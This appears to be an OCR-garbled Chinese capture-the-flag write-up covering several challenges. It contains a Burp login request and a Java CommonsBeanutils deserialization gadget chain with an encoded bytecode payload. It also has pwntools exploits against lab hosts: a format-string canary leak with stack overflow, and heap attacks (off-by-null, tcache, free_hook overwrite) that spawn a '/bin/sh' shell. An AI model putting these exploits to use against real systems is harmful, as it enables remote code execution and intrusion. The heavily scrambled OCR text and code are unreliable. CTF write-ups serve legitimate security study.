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Raw | Params | Headers | Hex
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Raw | Headers | Hex

Pretty \n Actions v

[posT /login.php HTTE/1.1

Host: 192.168.41.86:3001

Content-Length: 49

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

Origin: http://192.168.41.86:3001

Content-Type: application/xz-www-form-urlencoded

[T RS S

@

(KEHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept:

text/html, application/xhtml+=ml, application/xml;q=0.9, image/avif, image/we
bp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0.9

10 Referer: http://192.168.41.86:3001/index. html

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh:;q=0.9

13 Connection: close

14

15 emall=Adminspass=5f4dcc3b5aa765d61d8327debB82cE99

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/537.36

JE#4 Render 'n Actions v
SimS 41 LlS.suLiuney, we (S.RSyLUMe ST Loy
: 2 alert ("What are U f**king doing!"); :
43 return false;
44 //ctrl+u
45 }
else 1f ((e.ctrlKey) && (e.keyCode == 85))(
46 alert ("What are U f**king doing!");
return false;
1
Yi
/ /000000
51 document . oncontextmenu = function () {
52 alert ("What are U f**king doingl");
53 return false;
54 1
]
</script>
<div class="login">
<div class="container-loginl0dD"> N
<div class="wrap-loginl00">
60 <span class="loginl00-form-title">
61 Congratulations! You are Admin, this is vour flagl
62 I<l——Saanor(ef3d229c:—DdlD—4d99—a765—ff4la4d624e7}——) I </span
€3 < ATV
€4 </div>
€5 </ div>
66 </body>
€7 </html>
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~TARINL VEISLUII— LW SENLUuLIig— wi Qo I~
—=project xmlns="http://maven.apache.org/POM/4.8.8" xmlns:xsi="http:// /www.w3.org/2001/XML5chema-instance"
xsi:schemalocation="http://maven.apache.org/POM/4.8.8 https://maven.apache.org/xsd/maven-4.0.08.xsd">
<mode lVersion=4.8.8</modelVersion>
= <parent>
6 <groupld=org.springframework.boot=/groupld>
<artifactId=spring-boot-starter-parent</artifactld=

J BRI b

8 <version=2.5.4</version=

9 <relativePath/> <! lookup parent from repository ——»
18 </parent>

11 =groupld=com.ctf</groupld=

12 <artifactId=cb</artifactId=

13 <version=@.08.1-5NAPSHOT</version=

14 <name>ch</name>

15 <description=Demo project for Spring Boot</description=>
162 <properties>

17 <java.version>1.8</java.version>

18 </properties>

19& <dependencies>

28e <dependency=

21 =groupld=org.springframework.boot</groupld=

22 <artifactId=spring-boot-starter-web</artifactId=
23 </dependency=>

24

258 <dependency=

26 =groupld=org.springframework.boot</groupld>

27 <artifactId=spring-boot-starter-test</artifactId=
28 <scope>test</scope>

29 </dependency=>

30

31e <dependency=

32 =groupld=org.springframework.boot</groupld=

33 <artifactId=spring-boot-starter-aop</artifactId>
34 </dependency=>

352 <dependency=

36 =groupld=org.projectlombok=/groupld=

37 <artifactId=lombok</artifactId=

38 <pptional>=true</optional=

39 </dependency=>

4ps <dependency>

41 <groupld>commons-beanutils</groupIld>

4 <artifactId=commons-beanutils</artifactId=
<version>1.8.2<f/version>

</dependency>

<dependency=
<groupld=org.springframework.boot</groupld>

48 <artifactId=spring-boot-starter-thymeleaf</artifactId=
49 </dependency>

58 </dependencies=>

528 <build>

53& <plugins=>

54 & <plugin=

55 =groupld=org.springframework.boot</groupld=

56 <artifactId=spring-boot-maven-plugin</artifactId=
57 </plugin=

58 </plugins>

59 </build=

61 =/project=

io. ByteArrayOutputStream;
io.0ObjectOutputStream;
lang.reflect.Field;
gd.util.Baseb4;
PriorityQueue;

apache.xalan.internal Itc.trax. TemplatesImpl;
apache.xalan.internal .xsltc.trax. TransformerFactoryImpl;

apache s.beanutils.BeanComparator;

public class CommonsBeanutilsShiro {

public static void (Object obj, String fieldName, Object value) throws Exception {
Field field = obj. (). (fieldName);




field.set(obj, value);

public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, " bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
1
setFieldValue(obj, " _name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
byte[] evilcode = Base64.getDecoder().decode("yv66vgAAADQAUQOALWBTCgBEAGEKAGAAYggAYwoAZABLCABMBWBNCgAHAG
gHAGKKAGoAawgAbAgAbQgAbggAbwgATQOABWBWCABXCABOBWBYCgBGAHMIAFAIAHQKAHUAdZOAEWB3CABACEATAHKIAHOIAHSKABMAFAgAFQgAfg
gAfwgAgAoACQCBCACCBWCDCECEATIUKAIQAhgoAhwCICEAKATIKIATI0KACQAiwoAJACMCACNCACOBWCPBWCQAQAIdHIhbnNmb3JtAQBYKEXxjb20vc3
uL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMVREONO1tMY29tL3N1bi9vemcvYXBhY2h1L3htbCO9pbnR1lcm5hbC9zZXIpYWxpemVyL1l]
N1cmlhbGl6YXRpb25IYWS5kbGVyOy1WAQAEQ29kZQEADOXpbmVOdW1iZXIUYWISZQEAEKxVY2FsVmFyaWFibGVUYWIsZQEABHRoaXMBABFMcm9tZS
9TcHIpbmdFdm1lsOwWEACGRVY3VtZW50AQAtTGNVbS9zdW4vb3InL2FWYWNoZS94YWxhbi9pbnR1cm5hbC94c2x0Yy9ETOO7AQATIaGFuUZGx1cnMBAE
JbTGNVbS9zdW4vb3InL2FwYWNoZS94bWwvalW50ZXIuYWwvc2VyaWFsaXplci9TZXIpYWxpemFOaWOuSGFuZGx1lcjsBAApFeGN1cHRpb25zBwCRAQ
CmKEXjb20vc3VulL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMVREONOOxjb20vc3Vul29yZy9hcGFjaGUveGlsL21udGVybmFsL2RObS
9EVE1BeG1zSXR1cmFOb3I7TGNvbS9zdWAvb3InL2FWYWNOZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXIpYWxpemF@aWOuSGFuZGx1lcjspVg
EACG10ZXJIhdGOyAQA1TGNVbS9zdW4vb3InL2FWYWNoZS94bWwvaW50ZXIuYWwvZHRtLORUTUF4aXNJIdGVyYXRvcjsBAAdoYWS5kbGVYyAQBBTGNvVbS]
9zdW4vb3InL2FwYWNoZS94bWwvalW50ZXJuYWwvc2VyaWFsaXplci9TZXIpYWxpemFO@aWOuSGFuZGx1lcjsBAAY8aW5pdD4BAAMoKVYBAAF JAQARTG
phdmEvbGFuZy9DbGFzczsBAAFtAQAaTGphdmEvbGFuUZy9yZWZsZWNOLO11dGhvZDsBAAFVAQASTGphdmEVbGFuZy9PYmplY3Q7AQACbTEBAARYZX
NwAQADcmVxAQAJZ2VOV3JIpdGVyAQAIZ2VOSGVhZGVYyAQAGd3IpdGVyAQADY21kAQASTGphdmEvbGFuZy9TdHIpbmc7AQAIY29tbWFuZHMBABNDTG
phdmEvbGFuZy9TdHIpbmc7AQALY2hhcnN1dEShbWUBAA1TAGF ja®lhcFRhYmx1BwCPBwBnBwCSBwBpBwBYBwBTBWCTAQAKU291cmN1Rm1sZQEAD]]
NwcmluZoV2ahWwuamF2YQwAQgBDBwWCUDACVAJIYMAIcAmAEAPGOYZy5zcHIpbmdmemFtZXdvemsud2VilmNvbnR1eHQuemVxdWVzdC5SZXF1ZXNeQ2
9udGV4dEhvbGR1cgcAmQwAmgCbAQAUZ2VOUMVxdWVzdEF@dHIpYNnVOZXMBAASQYXZhL2xhbmcvQ2xhc3MMAIWANQEAEGphdmEVbGFUZy9PYmplY3
QHAJIMAJ4ANWEAQGOYZy5zcHIpbmdmemFtZXdvecmsud2VilmNvbnR1eHQuecmVxdWVzdC5TZXI2bGVOUmVxdWVzdEF@dHIpYnVOZXMBAAtNZXRSZX
Nwb25zZQEACMd1dFJ1cXV1c3QBAB1qYXZheC5zZXJ2bGVOLIN1cnZsZXRSZXNwb25zZQwAoACdAQAlamF2YXguc2Vydmx1dC50dHRwLkh@dHBTZX
J2bGVOUmMVxdWVzdAEAEGphdmEVbGFuZy9TdHIpbmcMAKEA0gEAB29zL m5hbWUHAKMMAKQAPQWAPpECNAQAGd21uZG93DACOAKKkBAANHQksBAAVVVE
tOAWAqgCnAQADVO10AQACL2MBAACVYm1uL3NoAQACLWMMAK SArAEAB3ByalW50bG4BABFqYXZhL3VOaWwvU2Nhbm51cgcArQwArgCvDACWALEHAL
IMALMATAWAQECIAQACXEEMALYATtWWAUACNAQAFZmx1c2gBAAVjbG9zZQEAD3IvbWUVU3ByaW5nRXZpbAEAQGNVbS9zdWAvb3InL2FwYWNOZS94YW
xhbi9pbnR1cm5hbC94c2x0Yy9ydW50aWl1LOFic3RyYWNOVHIhbnNsZXQBAD1jb20@vc3VulL29yZy9hcGFjaGUveGFsYWAvaW50ZXJuYWwveHNsdG
MvVHIhbnNsZXRFeGN1cHRpb24BABhqYXZhL2xhbmcvecmVmbGYjdCONZXRob2QBABNGYXZhL2xhbmcvRXhjZXBOaWOuAQAQamF2YS9sYW5nL1Rocm
hZAEADWN1cnJ1bnRUaHJI1YWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOWEAFWd1dENvbnR1eHRDbGFzcOxvYWR1cgEAGSgpTGphdmEVvbGFuZy9DbG
FzcOxvYWR1cjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHIpbmc7KUxqYXZhL2xhbmcvQ2xhc3
M7AQAJZ2VOTWVOaGOKkAQBAKEXqYXZhL2xhbmcvU3RyaW5n01tMamF2YS9sYW5nLONSYXNzOy1MamF2YS9sYW5nL331Zmx1Y3QvTWVOaGOkOwEABM
Ludm9rZQEAOShMamF2YS9sYW5nLO9iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT23qZWNOOWEAEWd1dER1Y2xhcmVkTWVOaG
9kAQANC2VOQWNJjZXNzaWJsZQEABChaKVYBABBqYXZhL2xhbmcvU31zdGVtAQALZ2VOUHIvcGVydHkBACYoTGphdmEvbGFuZy9TdHIpbmc7KUxqYX
ZhL2xhbmcvU3RyaW5nOWEAC3RVTG93ZXIDYXNIAQAUKCIMamF2YS9sYW5nLINOcmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nLONoYXITZX
F1ZW5jZTspWgEAC3RVVXBWZXIDYXNIAQAIZ2VOQ2xhc3MBABMoKUXxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdn|
50aW11AQAVKCIMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXh1YWEAKChbTGphdmEVbGFuZy9TdHIpbmc7KUxqYXZhL2xhbmcvUHIVY2VzczsBABFqYX|
ZhL2xhbmcvUHIVvY2VzcwEADMd1dElucHVOU3RYZWFtAQAXKC1MamF2YS9pby9JbnB1dFNOcmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHI1YWO7TG
phdmEvbGFuZy9TdHIpbmc7KVYBAAXx1c2VEZWxpbW1OZXIBACcoTGphdmEVvbGFuZy9TdHIpbmc7KUxqYXZhL3VOaWwvU2Nhbm51cjsBAARuUZXhOAC
EALgAVAAAAAAADAAEAMAAXAATIAMgAAADS8AAAADAAAAADBEAAAACADMAAAAGAAEAAAAWADQAAAAEAAMAAAABADUANEAAAAAAAQA3ADEAAQAAAAEADQ
A6AATAOWAAAAQAAQASAAEAMAASAATIAMEAAAEKAAAAEAAAAADEAAAACADMAAAAGAAEAAAADADQAAAAGAAQAAAABADUANEAAAAAAAQA3ADEAAQAAAA
EAPgA/AATIAAAABAEAAQQADADSAAAAEAAEAPAABAEIAQWACADIAAALDAAKADQAAAXsqtWABUAACTEADEES2AAVMKXIGA70AB7YACEOQSAQO9AAM2AA
pOUAACtgADEguU2AAVMKXIMA70AB7YACEOrEgODVQAHtEAIOgQSsLQO9AAM2AA06BRKELQO9AAM2AA06BrgAArYAAXIOtgAFEg8DVQAHTgAQOge4AA
K2AAMSEbYABRISBLOAB1kDEhNTtgAQOggZCAS2ABQZBWS2ABQZBxkFA7OACbYACj0oJGQgZBgS9AALZAXIVU7YACSAAEZoKBroAEzoLEha4ABe2AB|
gSGbYAGpKACBIbpwAFEhw6DBIWUAAXtgAdEN62ABGZABIZCWMSFVMZCWQSH10NAA8ZCWMSIFMZCwQSIVMZCWUZCIMZCbYAThIjBLOABIKDENhNTtg
AQGQkEVQAIWQO7ACRZUAALGQU2ACa2ACCcZDLcAKBIptgAqtgArU7YACLcZCbYAIhIsA70AB7YAEBKIA7OACBYACLcZCbYAIhItA70AB7YAEBKIAY
OACbYAC1lexAAAAAWAZAAAAbgAbAAAAHAAEABOAEAAeABSAHWA1IACAAMQAhADWATIgBIACMAUWAKAF8AJQB1ACYAKAANATYAKACCACKAQQAGALAAKwW
DEACWA3QAtAOOALgDzAC8A/AAXAQIAMgEIADQBDgA1AUOANgFiADcBegA4ADQAAACEAAGAAAF7ADUANgAAABABawBEAEUAAQAbDAWAAREBHAATAIQ
FWAEgASQADAEgBMWBKAE cABABTASgASWBIAAUAXWE CAEWASQAGAHUBBEBNAE cABWCQAOSATgBHAAEAqQDSAESASQAJAL4AVQBQAFEACEDEAL cAUg]
BTAASA3QCeAFQAUQAMAFUAAAAAAAT /ANKADACAVECcAVWCAWACAWQCAWACAWQCAWQCAWACAWACAWQCcAWE cAWWAAQQCAWVWAIACAWE SAOWAAAAQAAQ
BCAAEAXQAAAAIAXg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{evilcode});
setFieldValue(obj, "_name", "HelloTemplatesImpl");




(obj, " _tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

// stub data for replacement Later
queue. ("1");
queue. ("1");

(comparator, "property", "outputProperties");
(queue, "queue", new Object[]{obj, obj});

/7 RS

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
00S. (queue);

00S. 0);

byte[] expcode = Baseb4. OF (barr.
System.out. (new String(expcode));

GET /hZdWASYudnN3ohRiLpgkCeS8erTZrdux/parselUser? 1 HTTE/L.l 200

user= Z Date: 3Sat, 13 MNowv :
rO0ABXNYABdgY XZhLnV0awwuUHIph 3 TpdH1RAWY LZZTaMLTTP4K 3 Connection: close
HAWACSOAECZ 1 EZTWACTHNvE XBhemFOb3 TOAEZManmF2YSY 1dc1sT0 4 Content-Length: 43
Nvh¥BhemFOb3 I7eHAAAAACCI TAKIOyZyiheGFjaGUuYl OthWluc 5
vI1ZWFud¥RphHMulnVhh kivh XBhenFOL3LPjgeC 2 fhTxfgTank 6 Fangfor{

WACINvE XBhemF0h3 TAHAAATWACHEYL 3E LlenRSdAASTGphdmEvh TuBmsErCaSzzaCxi]
GPuZyYTdHTpbme7eHE zegAcganF 2 ¥ S 5sYWInT INOcmluZ yROIY XN L }

SWIzZW3S zaXPpdmVDh2 Lw¥XThdcOydwlic fVx0Sc4CAAB4cHOARGD
ldHE LdFEyh3BlenRpZ KNI BAAAAAN zcgAEY29tLnlT b i Svemeuy
Eh¥2hlTnhhbGFulmludeVybnFsLnhzbHRJLnRyYXguVeVieGxhd
GVzSWIwbALXTEFur Ks zAwAGS QANKZE luZGVudES IbWTlekkAD 150
cFucl X LdEluZGVAWWAKKZ T5d6Vib2R1c30AA L thOlsAELS bGF
zo3QAE L tMamF 2 ¥ S8 s ¥WANLONs TNz O0WABVIUYWL 1e QE 32 b AARM
ABFfh3VOcHVOUHTveGVydslle3 QAR kx ¥ XEhL3VDaWwv UHIve GV
ydGlloztdcAAAAAD S FR2F82 22 £ 82 £ TAA L thQkvOGRVNZESS3
AqAAcHAAAMABRAXIAAICCrPMESZhAYIVOACAARcAAADSY K2 frg
F2bAAAANACTCgAWMAGERAGTAYWoAYgBRCAELCgEmAGe TAGGHAGKK
AdchagohawoAbABLCABUCABVCABWCABXCABQCGAHAHI TAHMIAFE
HAHQFAGWAAQgATWgAdgo AdwWEAC gATAHK TAHo FAEMAewgATAgATQ
CAEWE3ZbCABS 2 fCACACACECACCCOATATIMIATIQHATUKAIYAhworh
gUICUTAToKAC QA WA AcATACC gAKATATATE TATAHATEHATTH
AJTMEBAAYE aWIpdD4BAAMoKVYEAARDRZRIAQAPTGIuZUS IbWIle 1R
h¥rox TAQAS TEE YW WY XTI p ¥ WIsZVRh s 1AQARdGhpowEAEkx J b2
OveGFSbhGOhZCS Ldmls OWEAC KRy YW 2Z2mI vh QRAC i hMY2ZO9tL3N 1k
19vemevY¥Bh¥Zh1TL3hhbhGFull ludsVybnFsL3 hzbHEJLORPTTEL
TGHvESY9 zdWdvh3TnL 2 FWwiWNoZ 59 4bWwvaW3 0Z X Tuiwre 2 VyaWF
2a¥pleif9TZETpYWe penF 0aWSusGFuZer lejspVgBACGRVY3VEEZW
SOAQAETENvESS edWdvh 3 TnL FWYWNoZ394YWxhbiSpkhbnRlemShls
CO4clx0Yy9ETO07AQAT aGFuZGR lenMEARTL TENvESY zdWdvla3 Tn
L2FWYWHoZ394bWwvaWi0Z X TuYWwre 2 VyaWF saXp le 19 TZXT pYWx
penflaWlusGFuZer lejsBAARPFe G 1eHRph2 S 2BwC TAQAQTWV DAz
SkUGFyYWlldeVycwBAp ihMY2ZOtL3N b iSvemevYXEhY2Zh1L3hhb
GFuL2 ludcVybmFsL3iheh HEJLORPTTEMY29tL3N b i9vemewv Y XEh
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F5E#EE—F, H#AKolvmiBiE (1R £ while)

Cwhile (1)
" while (1)
r
{
while ( 1}
¥

i
while { 1)
r

' while { 1)
{

Cwhile (1)
M
{
while { 1)
i

while ( 1)

& 2143a17301;
I= -2143 1}

JIF3 maini247 AO11F3)

B EREI M ARdeflat ERIBE , REEEBRWT
while ( 1 )
{
vl2 = v6;
flag = v6 < 64;
while ( b >= 10 & ((((_BYTE)a - 1) * (_BYTE)a) & 1) !=0 );
if ( !flag )
break;
do
vld = v6;
while ( b>= 10 & ((((_BYTE)a - 1) * (_BYTE)a) & 1) !=0 );
vl5 = v9[vil4];
if ( v15 == 10 )
{
do
v1l6 = v6;
while ( b>= 10 & & ((((_BYTE)a - 1) * (_BYTE)a) & 1) !=0 );
vl7 = &v9[vil6e];
if ( b>= 10 & ((((_BYTE)a- 1) * (_BYTE)a) & 1) !=0 )
goto Error;
while ( 1)
{
*vl7 = 0;
if ( b < 10 || ((((_BYTE)a- 1) * (_BYTE)a) & 1) == 0 )

filk:S
\#include "stdafx.h"

int main(int argc, char*




unsigned __ int64 k=0xB1234B7679FC4B3D;
unsigned _ int64 map[] = {0x32E9A65483CC9671,0x0EC92A986A4AF329C,0x96C8259BC2AC4673,0x74BF5DCA4423530F ,0x5
9D78EF8FDCBFAB1,0xA65257E5B13942B1};
for(int i1=0;i<6;i++){
for(int j=0;7j<64;j++){
if(map[i]&1){
map[1]~=k;
map[i]>>=1;
map[i]|=0x8000000000000000;
}else{
map[i]>>=1;

}
for(int j=0;j<6;j++){
printf("%8s",&map[j]);
¥
getchar();
return 0;

Lithops

XA mBEETRARE om, LR EMRERFHFENE S, fimARAY, ARETY, BREENFENTHRART —
A api, B RANSI->UTF8

ES UHZE 22bit
ES 0E23 37hit
55 002E 3Zbhit
DS 0028 3zbit

! F3 0053 32bit
M1E2DED G5 DE2E 32bit

@1IE2CYD

LastErr ERRDR
M1EZCRO

enpty
enpty
2 enpty
eapty
enpty

iC Al i i DER|| CodePage = GxFOE®
i) &F B2 A9 7 [ &P E 4% hf BB 14 B PE | s THIL i oa|| options = 0
aze| N1 50 5 16 19 Sl89 50 4 8 4l 10 10 ] DEC|| WideCharstr =
E1 87 bE 75|09 17 wB 75|27 oR weo7sias s AOPAFDEE | FFFFFFFF || WideCharCount = FFFFFFFF
F5 16 48 75|F8 11 k8 75|20 1k b8 7 T QOZAFD9E| BEZAFDDL|| MultiByteStr = BOZAFDOL
T @ B 75|50 W 4B s J1RUBL Ky QIEAFDYh| 00RA0M || HultiByteCount = A (10.)
B 75(CO 11 AB QOPAFDSE| BO0RA00D|| poeFaultChar = HULL
75| E0 41 48 1 TKu? annsaosn|LpbefaultCharlised = HULL

ghnnn

DumpBUTF8F4F, B HER Al %

Short @11E2A11 EBF ROZAFDAR
short @11E29R% | 1 B0ADPLFE UNICODE " ifm
vex, teard ptr [ebpe@xd] FO] @BADEARE
1ea v, dward ptr [ebp-mm2a] 3 Lithops, BiTERaTY
! : % pidl 390At G{FFEFFFFE)
([0 |£ail TR AR th 1 INH“FIXF.I'EtrCI’I)ﬂ £5 #2330l M FEFFFFFF)
fRRZE BOzZE 3 L FFFFFEFF}
¥ FFFFFFF)

DEABR{FFF )
1 FFFFFEFF)

FET -
i short @V1EZAZE

1 08I Fow dunrd pte [ebp-Deag], e
[ e shoet B11E2ATD

DOER row dword pEr [ebp-Mai®], 0«0
L aby byte ptr [ebp-0xis]
maw ccw, dword ptr [ebp-exk]
|am— vex, ehp Wi, 1 E , BE NG, PE 0

L] |:ill BTIETS 30

U _HOT_FOUHD|

1 1 i i
15 (WErnelaz. Latrenpi)

§0 23 hE 77|28 MC W0 FSIED 30 WP 77 el LT 1w
45 %6 W9 TTIFE 18 &I T5IDD 16 48 7% (D lweSEutKutEn
16 19 A8 75|89 50 N8 FLIAF TR 4D 75| APSuRBKuli Ou@xiu
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GeGe
JEfE, https://blog.soreatu.com/posts/an-introduction-to-ntruencrypt-through-a-ctf-challenge/ iX B ME/M5E#E

BT — s, AEAR

m LLL()[2]
ector

print(long_ y i _mod(f F,g)
ngfor{pfa ] :
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find-flag

IR IR S AEprintf &b, printf(format)fE 7 4 Ak 77 74 88 IR TR



7EpwndbgH fll ik offset f#£6+11 ~canaryfm# 4+11 Agadgetm#s

Stk Ak 4% B it 58 HH canary#lipie R )5 H i getsis T /5 1 TR 3

from pwn import *

context.log level = "debug"

io = remote("192.168.41.86","2001")
flag_offset = 0x1228

io.recvuntil("?")
io.sendline(b'%17$p%15%p")
io.recvuntil("ex")

canary = int(io.recv(16),16)
io.recvuntil("ex")

pie = int(io.recv(12),16) - ©x1140

pie + flag offset
payload2 = b'a'*0x38+p64(canary) + b'a'*8 + p64(flag)

io.sendline(payload2)

io.interactive()

write_book

2.27libc-1.14

add delete edit show# 7 7E

TR S fEeditdh 7 7Eoffset by NULLIR R

B # House Of Einherjar 3T #i R & &

AR5 F B B B HEtshow i main_arena + 96/ 4k 45 Bllibe

B J5 7| i #E P E BT tcache attack

—JF kR FTmallochook Jyonegadet fin T reallocifi A& 34k & A il

B 5 H 1T freehook Asystem 1% A\ bin sh 2% get shell

from pwn import *

libc = ELF("./libc.so0.6",checksec
p = remote('192.168.41.86"', '2002")
#p = process("./writebook")
def (size):
p.sendlineafter("> ",str(1))
p.sendlineafter("> ",str(1))
p.sendlineafter("size: ",str(size))
(page, content):
.sendlineafter("> ",str(2))
.sendlineafter("Page: ",str(page))
.sendlineafter("Content: ",content)
(page):
.sendlineafter("> ",str(4))
.sendlineafter("Page: ",str(page))
(page):
p.sendlineafter("> ",str(3))
p.sendlineafter("Page: ",str(page))




for i in range(0,7):

Add(exfe)
Add (0xf0)
Add (0xf0)
Add (0xf0)
Add (0xf0)
Add (0x18)
Add (0xf0)
Add (0x18)
Edit(11,p64(0)*2 + p64(0x400 + 0x20))
for i in range(9,7):

Delete(i)
Delete(7)
Delete(12)
for i in range(9,7):

Add(0xf0e)
Add (0xf0)
Show(8)
main_arena = u64(p.recvuntil("\x7f")[-6:].1just(8,b"\x00"))
malloc_hook = main_arena - 96 - 0x10
libc_base = malloc_hook - libc.sym[" malloc_hook" ]
free_hook = libc_base + libc.sym[" free_hook"]

libc_base + libc.sym["system"]
libc_base + libc.sym[" 1libc_realloc"]

#tsetcontext = Libc_base + Libc.sym["setcontext"]
one_gadget = [0x4f3d5,0x4f432,0x10a41c]

Add (0xf0)

Add (0xf0)

Delete(14)

Delete(12)

#Edit (8, p64(malloc_hook-6x10))
Edit(8,p64(free_hook-0x10))
Add (0xf0)

Add (0xf0)

#attack malloc

payload = p64(0)*2 + p64(realloc+0x10) + p64(one_gadget[1]+1libc_base)
Edit(14,payload)
edb.attach(p)

Add (0x18)

#attack free_hook

payload = p64(0)*2 + p64(system)
Edit(14,payload)

#gdb.attach(p)
Edit(12,"/bin/sh\x00")
Delete(12)

p.sendline("cat flag.txt")

flag = p.recvuntil("}")
print(flag)

p.interactive()

create_code

HEREH, off-by-nullFT




from pwn import *

#p = process("./create_code")

p = remote("192.168.41.86",2007)
context.log level = 'debug'

libc = ELF("./libc.so.6")

elf = ELF('./create_code')

def (c):
p.recvuntil(">")
p.sendline(str(c))

def (content):
choice(1)

p.recvuntil(":")
p.send(content)

def (id):
choice(2)
p.recvuntil(":")
p.sendline(str(id))

def (id):
choice(3)

p.recvuntil(":")
p.sendline(str(id))

add("a") #o

add("b") #1

add("c") #2

add("d") #3

free(0)

add("a"*0x320+p64(0)+p64(0Xx661))

free(0)

add('a'*@x320+ p64(0) + p64(0x331)+p64(0x414141414141))

ubd(p.recvuntil("\x7f")[-6:].1just(8,"\x00")) - libc.sym["_malloc_hook"] - 96 - 0x10
success("libc_base:"+hex(libc_base))
free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym[“system"]

add ("a"*0x320+p64(0)+p64(0x331)+p64(free_hook-0x8))
add("a"*0x320+p64(0)+p64(0x331)+"/bin/sh\xe0")
add("aaaa"

add (p64 (system)*2)

free(0)

p.interactive()
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